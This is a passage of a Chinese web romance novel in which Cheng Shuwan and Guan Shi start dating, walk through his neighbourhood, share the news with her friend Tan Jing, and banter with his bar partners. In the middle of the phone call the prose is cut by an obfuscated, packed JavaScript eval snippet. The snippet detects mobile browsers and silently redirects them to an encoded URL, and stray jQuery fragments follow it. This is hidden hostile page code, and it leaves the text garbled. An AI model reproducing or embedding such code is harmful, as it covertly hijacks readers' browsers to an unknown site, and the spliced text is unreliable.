程舒晚难掩内心的波澜,而指缝传来的力道加重,关时看来也没能忍住,垂下眼声音有点哽,重重点头:“……嗯。”
气氛安静片刻,两人都不知道说什么,程舒晚重新埋头,另外起了话题:“你等会吃完饭,去补个觉吧。”
“不了,睡不着。”关时脸颊贴着她耳朵,“等会出去走走?我带你看看这边的环境。”
“嗯。”程舒晚说。
“那就先去刷牙洗脸,吃早饭。”关时说,但程舒晚并没有要撒手的趋势。
“再抱一会。”她说。
关时笑了笑,“行。”
这话说出来之后程舒晚反而没太好意思抱久,过了会儿就撒开了手,去洗漱台洗漱了。关时靠在吧台边望着她的方向,勾起的嘴角就没下来。
他喜欢的姑娘也喜欢他。
人间至幸。
吃完早饭,程舒晚在门口穿鞋,刚站起来,关时就递来一张卡。
“电梯卡。”他把卡塞进程舒晚的兜里,在智能门锁上摁了几下,“还有指纹,也来录一下。”
程舒晚“哦”了声刚要过去,看着智能门锁,突然想起来。
这是他的婚房。
虽然是未来式的,但毕竟还是他的婚房。
虽然她这段时间借住在此也要进出,但这个门锁应该有钥匙,她拿钥匙的话或许更好,之后也能归还。
虽然指纹录入了也能删……但总觉得意义不大一样。
好像录入指纹,就像是在这套房子,打上了“程舒晚”的痕迹。
不太合适。
程舒晚犹豫了两秒,试探问:“你家里人知道你打算把它当婚房吗?”
“知道。”关时说,见她慢腾腾的,于是牵起她的手,捏住拇指摁在门锁上,“我妈不会对我的房产和我的决定指手画脚。”
程舒晚低头,“哦。”
关时回眸看她,“就算她要指手画脚,也是双手双脚支持你来我们家。”
程舒晚有些愕然。
“所以不是‘你家里人’。”关时弯起眼笑,“当然,如果你觉得还不习惯,就慢慢来。”
“嗯。”程舒晚点点头,握紧了兜里的电梯卡。
关时,乃至他们一家,对她都有十足的包容心和爱护,让她受宠若惊。
她上辈子一定。
拯救过世界。
按照平日里的安排,这会儿应该快到两人的健身时间,但是关时刚通了宵,就没做什么消耗体能的运动,只是并肩在街上散步,也当做锻炼了。
“这边大部分是新楼,”关时介绍说,“投资不少,不过入住的人口也已经很多了,配套就很齐全。
“那边有一所学校,小学到高中部都涵盖了。那头那个宽棚子看见了吗?是菜场,你要是自己开火做饭可以去那边买菜。
“嗯……过去一个路口有个商城,挺大的,不过现在还早没开门,我带你去林渡公园吧,这个点应该有老头老太乐团在排练,挺有意思的。”
关时闲不下来地说,程舒晚就一搭一搭地应。
他们一起走路的时间并不少,经常一起去网咖,一起从网咖回小区,一起送关星玥去上学,一起接她放学……但毫无目的地闲逛倒是不多,再加上刚刚转换身份,程舒晚不大适应,在大街上走,总有种被全世界围观的心虚感。
她有点紧张地勾住关时的尾指。
关时微微停顿,垂眸笑了,伸手把她整只手握紧。
程舒晚只是僵硬了一下,没缩回去。
关时:“第一次谈恋爱啊?”
程舒晚抬头盯着他,“不行啊。”
“我以为你……这么优秀,”关时咳嗽一声,“……追求者很多。”
程舒晚突然想起谭婧同她说过的,大学时跟她告白的路人甲。
回想一下才发现,也不能怪她想不起来,这种情况从小到大其实发生了很多次,只是她都没怎么在意过,学习,排名,游戏,工作,每一件事都更值得她关注。
至于为什么会是关时。
或许,他就是她在叛逆的路上,唯一遇到的同行者吧。
“我比较目中无人。”程舒晚收敛思绪回答道。
关时偷偷笑了。
“你倒是轻车熟路。”程舒晚小声嘀咕,却瞧见他的眼睛猛然睁大。
“你好冤枉人啊叉烧,我怎么就轻车熟路了,初吻都是你的强吻!”关时顿了顿,“两次!”
程舒晚:“……抱歉啊。”
她还真是恶劣。
这个话题程舒晚显然没什么底气,于是飞速地翻到下一页,“你要是真想谈,肯定不缺人。”
“那没办法。”关时挑眉笑,“我长那么好看,一般的配不上我。”
程舒晚:“……”
“只有你,跟我般配。”关时转过头来,眼里都是笑意。
程舒晚看他得意的样子半晌,忍不住也低头笑了。
“郎才女貌?”她问。
关时点头,“天生一对。”
“嗯。”程舒晚点头,这话她爱听。
关时低垂着眼,“叉烧,我很庆幸。
“这么多年过去,我还是,把你,找到了。”
程舒晚愣了愣,握着他的手逐渐收拢,用力得有些颤抖。
“我也是。”她露出笑容。
两人没再说话,牵着手慢慢散步,从街头走到街尾。
人来人往,车去车来。
手中,心里,身旁,都不空落。
吃过午饭,下午关时还有工作要处理先回网咖去,程舒晚待在溪韵庭园录素材——关时昨晚琢磨得没睡觉也没闲着,把电脑在书房安装好了,屏幕外设网络什么的全调试好了,和在直播工作间的时候没什么区别。
也是,毕竟工作间也是关时布置调试的。
当时程舒晚偷偷拍了关时钻桌底下调机箱的照片,现在还躺在相册里没删。
一晃,居然过去了这么长时间。
回想起这两天一系列梦一样的事儿,程舒晚依然觉得不太真实,从电脑前起身去餐台倒了杯水,盯着咖啡角,慢慢回想早上关时在这里告白,确定关系的种种细节。
嗯。
是真的。
程舒晚咬着水杯,二傻子一样乐起来。
以至于谭婧打来电话时,她就是这么个春心泛滥的状态,接起电话笑盈盈地应了一声:“咋了阿婧?”
“……”电话那头的谭婧震惊得失去三秒的嘴,如梦初醒地重新捡起来安回脸上,“我草,我本来想问你心情还好不,看起来我不用操心啊?”
“啊。”程舒晚清了清嗓子把状态收回来些,“没事,挺好的。”
“是啊是啊看出来了。”谭婧说,“你昨晚住林渡那边?”
“嗯。”程舒晚说,“这阵子都在这边。”
谭婧长舒一口气,“行,那就好。”
程舒晚隐隐捕捉到哪里不太对劲,“他们找你了?”
“没找着我,我都没接。”谭婧犹豫了一下,继续前面的话题,“我更担心你的状态啦。本来我对你家老板吧,不太有信心他能护住你,但能在林渡买房……应该还行。”
“……确实。”程舒晚说,“我有做心理准备,但还是挺出乎我意料的。”
谭婧又沉默了。
程舒晚:“喂?婧?”
“你不对劲。”谭婧惊恐地说道,“你居然没有炸毛反驳‘什么你家老板’,你不对劲,是不是发生什么不可描述不可打探不可言状的事情了!”
“神经,我克苏鲁啊。”程舒晚吐槽,顿了顿,“没什么特别的,因为……不用反驳了。”
谭婧:“……什么东西?”
程舒晚捏了捏耳垂,“我谈恋爱了。”
“……”谭婧没反应过来,“你家老板?”
程舒晚:“啊。”
“……”
就在程舒晚以为信号不好的时候,听筒里爆发一声巨大的尖叫:“草啊!我家铁树开花了啊!”
程舒晚远离了听筒:“……”
倒也不至于,只是谈个恋爱。
只是谈个恋爱……她抿着嘴,嘴角却忍不住上扬。
“嗯。”她最后没有掩饰自己的笑意,“开花了,开得漫山遍野的。”
谭婧大叫:“我要请你家种花农吃饭,不对,你俩得请我吃饭!我必须得看明白这家伙的嘴脸,记录罪状!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364934|183889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
种花农,好奇妙的比喻……程舒晚忍不住笑,“你呢?你开花不开花?”
见她突然调转了矛头,刚刚还在嚷嚷的谭婧突然安静几秒,随后说:“可能也要开了,不确定。”
“……?”程舒晚一愣,“谁?”
“开了再跟你说。”谭婧顾左右而言他,最后舒心地笑了,“你能找到个地方安定,我超开心。”
谭婧深知这位闺蜜和自己不同,她自己有托底,有支柱,她能选择任何她喜欢的事和人,但程舒晚一直以来都在战战兢兢地独自前行,很多时候甚至不愿意麻烦她。
或许现在,这封心锁爱的姑娘开始懂得敞开心扉了。
“嗯。”程舒晚说,“我应该,也是很开心的。”
周五周六照例是双排直播的时间,虽然确定了关系,但是不论是配合还是相处方式都没有什么改变,毕竟,在“程舒晚”认识“关时”之前,“小鬼叉烧”和“二更天”就已经是默契满分的超级游戏搭子了。
神奇的是,这几天程舒晚的直播数一路高歌,直播间在线都能维持在一千来人了,粉丝数量也突破十万。也不好说到底是奇妙的平台推流算法,还是她直播的节目效果渐涨,但或许,她家关老板是个招财吉祥物呢?
再说关时,他还是延续这阵子的忙碌,程舒晚知道他在找投资机会,也着手准备扩大网咖的经营,所以没太粘着他,但可惜,粘人的另有其人——
“在做什么?”关时发消息过来,“我刚从健身房出来,今天你教练问我你这几天为什么没去,我说你出差了。”
现在是早上十点,程舒晚虽然保守起见没有去健身房露面,但依然在家里自主练习。她刚做完最后一组拉伸,擦着汗去喝水,捏着手机回复,“她都私下问过我了,怎么还问你。”
关时:“是啊,她还挺失落的……我们叉烧真是魅力无穷,连健身教练都惦记哦……”
程舒晚笑了,“我给她做了个运动记录程序,应该是帮了她大忙。”
关时发了一串省略号,“……你这也卷?”
“我们卷王不会放弃对效率的追求的。”程舒晚诚恳说。
关时发了个大拇指,“跟叉烧打个报告,我下午去开老苏酒吧的股东会,估计得开饭局,晚上自己吃饭,我直播间陪你看比赛。”
今天周二,晚上是狐队的比赛,早在昨天晚上,白狸就告诉她他们已经从海宜飞来朔江了。
关时细细碎碎的“打报告”让程舒晚笑了,打字回道:“你可以不用事事报备的。”
“我乐意。”关时说,“你不查岗啊,不担心我出去玩儿?”
程舒晚:“……不好意思,我没有这个习惯,第一次谈恋爱,还没学。”
“没关系,不用学。”关时说,“我不会做到让你主动问的。”
程舒晚顶着屏幕上这行字,沉默地咬着嘴唇捧杯子。
“我好像开始无师自通了。”她发信息。
这行字发过去,几秒后关时就拨了电话过来。
“想我了?”他笑。
本来想嘴硬“谁他妈想你”的程舒晚,在听见这把满带笑意的温柔声音后态度猛然就软了,抿唇片刻,诚实道:“嗯。想你了。”
“想了就打电话。”关时笑叹一声,声音放轻笑,“我晚上早点过去。”
程舒晚点头,“好。”
关时挂了电话,把车里空调温度调低了点,扭头对上驾驶座,苏新胜看鬼一样的表情。
他略过苏新胜,对后座笑着说:“不好意思,晚上饭局我不能留太晚。”
后座还坐着两个年近三十的青年,都是苏新胜酒吧的合伙人,对他刚刚的通话露出“懂的都懂”的笑,“没事儿关老板,咱早点谈完,早点回去陪女朋友。”
只有苏新胜狠狠地揉了揉自己耳朵,怀疑自己听错,不住看关时,“过哪里去?谁想你?不是,谁?”
关时勾着嘴角,“你不是知道么。”
“知道你大爷!”苏新胜指着关时的嘴脸,“我草看你嘚瑟我好难受……你谈了?你谈上了?晚姐?”
关时按下他的手,“开车呢,遵守交通法。”
“他喵的你给我滚下车!”